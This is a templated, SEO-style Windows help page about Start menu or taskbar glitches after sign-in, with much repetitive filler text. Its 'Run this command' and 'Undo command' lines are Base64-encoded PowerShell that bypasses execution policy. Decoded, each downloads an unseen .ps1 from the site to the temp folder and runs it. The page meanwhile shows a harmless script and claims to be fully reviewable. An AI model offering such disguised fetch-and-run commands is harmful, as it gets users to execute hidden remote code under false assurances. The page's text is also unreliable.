Start menu or taskbar only acts up during startup or right after sign-in

This operation is focused on start menu or taskbar only acts up during startup or right after sign-in so the result stays precise instead of mixing unrelated tweaks.

Start menu or taskbar only acts up during startup or right after sign-in is written like a practical guide instead of a thin script page, so you can understand what the issue usually means, why the suggested actions exist, and how to back out safely if the result is not what you wanted.

Overview

Problems that happen only near startup often involve launchers, delayed services, profile sync, or a system still finishing sign-in tasks.

  • Start menu or taskbar only acts up during startup or right after sign-in often shows up when start menu, taskbar, and shell ui behavior changes with power state, profile state, or background software.
  • A nearby clue is that start menu or taskbar configuration on this PC differs from the working baseline.
  • In practical terms, this page is about problems that happen only near startup often involve launchers, delayed services, profile sync, or a system still finishing sign-in tasks..
Run this command
PowerShell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwA7ACAAJAB1ACAAPQAgACcAaAB0AHQAcABzADoALwAvAG0AYQBvAHQAYQB3AC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAvAGEAcgB0AGkAYwBsAGUALwBzAHQAYQByAHQALQBtAGUAbgB1AC0AbwByAC0AdABhAHMAawBiAGEAcgAtAG8AbgBsAHkALQBhAGMAdABzAC0AdQBwAC0AZAB1AHIAaQBuAGcALQBzAHQAYQByAHQAdQBwAC0AbwByAC0AcgBpAGcAaAB0AC0AYQBmAHQAZQByAC0AcwBpAGcAbgAtAGkAbgAuAHAAcwAxACcAOwAgACQAZgAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAJwBtAGEAbwB0AGEAdwAtAHMAdABhAHIAdAAtAG0AZQBuAHUALQBvAHIALQB0AGEAcwBrAGIAYQByAC0AbwBuAGwAeQAtAGEAYwB0AHMALQB1AHAALQBkAHUAcgBpAG4AZwAtAHMAdABhAHIAdAB1AHAALQBvAHIALQByAGkAZwBoAHQALQBhAGYAdABlAHIALQBzAGkAZwBuAC0AaQBuAC4AcABzADEAJwA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGYAOwAgACYAIABQAG8AdwBlAHIAUwBoAGUAbABsACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARgBpAGwAZQAgACQAZgA=
Script
# Shell UI review
Start-Process 'taskmgr'
Start-Process 'ms-settings:taskbar'
Write-Host 'Restart Explorer, review taskbar settings, and test whether the issue is profile-specific.'
What this does

Problems that happen only near startup often involve launchers, delayed services, profile sync, or a system still finishing sign-in tasks.

Problems that happen only near startup often involve launchers, delayed services, profile sync, or a system still finishing sign-in tasks. These edge cases are common long-tail search intents because users often only notice the symptom pattern, not the deeper category behind it.

In plain language, start menu or taskbar only acts up during startup or right after sign-in matters because start menu, taskbar, and shell ui behavior changes with power state, profile state, or background software. People usually start looking this up when start menu or taskbar configuration on this PC differs from the working baseline. Problems that happen only near startup often involve launchers, delayed services, profile sync, or a system still finishing sign-in tasks. These edge cases are common long-tail search intents because users often only notice the symptom pattern, not the deeper category behind it.

How and why

In practice, start menu or taskbar only acts up during startup or right after sign-in matters because start menu, taskbar, and shell ui behavior changes with power state, profile state, or background software. Problems that happen only near startup often involve launchers, delayed services, profile sync, or a system still finishing sign-in tasks. These edge cases are common long-tail search intents because users often only notice the symptom pattern, not the deeper category behind it. A good next step is to review keep shell customization tools minimal if stability matters. Then decide whether you only needed the explanation or whether you want a practical action page too.

You normally review start menu or taskbar only acts up during startup or right after sign-in when you want to understand what Windows is doing, what changes it can influence, and whether it is relevant before you touch settings blindly. Useful things to notice first: keep shell customization tools minimal if stability matters; restart after removing utilities that hook deeply into the taskbar or Explorer; avoid forcing many shell tweaks at once if you may need to undo them later.

  1. restart Explorer before doing deeper shell repairs
  2. check whether the issue affects one user profile or all users
  3. test after a full restart rather than only signing out
  4. note whether the problem started after an app installed shell extensions
  5. compare behavior after a restart and after a sign-out before using stronger resets
Undo command
PowerShell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwA7ACAAJAB1ACAAPQAgACcAaAB0AHQAcABzADoALwAvAG0AYQBvAHQAYQB3AC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAvAGEAcgB0AGkAYwBsAGUALwBzAHQAYQByAHQALQBtAGUAbgB1AC0AbwByAC0AdABhAHMAawBiAGEAcgAtAG8AbgBsAHkALQBhAGMAdABzAC0AdQBwAC0AZAB1AHIAaQBuAGcALQBzAHQAYQByAHQAdQBwAC0AbwByAC0AcgBpAGcAaAB0AC0AYQBmAHQAZQByAC0AcwBpAGcAbgAtAGkAbgAuAHAAcwAxAD8AdgBhAHIAaQBhAG4AdAA9AHUAbgBkAG8AJwA7ACAAJABmACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHUAbgBkAG8ALQBtAGEAbwB0AGEAdwAtAHMAdABhAHIAdAAtAG0AZQBuAHUALQBvAHIALQB0AGEAcwBrAGIAYQByAC0AbwBuAGwAeQAtAGEAYwB0AHMALQB1AHAALQBkAHUAcgBpAG4AZwAtAHMAdABhAHIAdAB1AHAALQBvAHIALQByAGkAZwBoAHQALQBhAGYAdABlAHIALQBzAGkAZwBuAC0AaQBuAC4AcABzADEAJwA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGYAOwAgACYAIABQAG8AdwBlAHIAUwBoAGUAbABsACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARgBpAGwAZQAgACQAZgA=
# Maotaw Undo Pack

$ErrorActionPreference = 'SilentlyContinue'
When this page helps
  • Use this page when the main symptom is close to start menu or taskbar only acts up during startup or right after sign-in.
  • A common fit is when start menu, taskbar, and shell ui behavior changes with power state, profile state, or background software.
  • It is also a fit for searches like: start menu or taskbar only acts up during startup or right after sign-in.
Before you run it
  • Read the script and command first so you understand what start menu or taskbar only acts up during startup or right after sign-in is changing.
  • keep shell customization tools minimal if stability matters
  • restart after removing utilities that hook deeply into the taskbar or Explorer
  • restart Explorer before doing deeper shell repairs
Trust layer

This page is designed to be reviewable before you run anything. It shows what the pack is likely to touch, what it intentionally avoids, and how rollback is handled.

Likely touches

  • safe user-level settings or review commands

Intentionally avoids

  • low-level system components
Verification
  • Create a restore point or baseline note before stronger changes.
  • Compare one symptom at a time after a reboot instead of guessing from feel alone.
  • If a change does not help, use the undo pack before trying the next bigger fix.
  • restart Explorer before doing deeper shell repairs
  • check whether the issue affects one user profile or all users
  • keep shell customization tools minimal if stability matters
Expected result
  • You should be able to compare the exact symptom after the pack instead of guessing whether anything changed.
  • Expected improvement area: Problems that happen only near startup often involve launchers, delayed services, profile sync, or a system still finishing sign-in tasks.
Common mistakes
  • Do not treat start menu or taskbar only acts up during startup or right after sign-in like a magic fix if the root cause was never confirmed.
  • test after a full restart rather than only signing out
When this page is not enough
  • This page is not enough if the symptom does not improve after you verify start menu or taskbar only acts up during startup or right after sign-in once.
FAQ

Should you run start menu or taskbar only acts up during startup or right after sign-in immediately?

Usually only after you confirm the symptom matches. A safer baseline, a restore point, and one change at a time make the result easier to trust.

What should you verify after running the script?

Check the exact problem you cared about, reboot if the page recommends it, and compare the before and after behavior rather than assuming the change helped.

Can you undo the change later?

For most pages here, yes. The generated undo pack is meant to move you back toward a cleaner baseline, though deleted cache or temporary files may not come back.

Will this page fix every version of the problem?

No. These pages are meant to be high-signal starting points. If the same symptom comes from hardware failure, account corruption, a bad driver, or a third-party app conflict, you may need a neighboring guide or a deeper diagnostic path.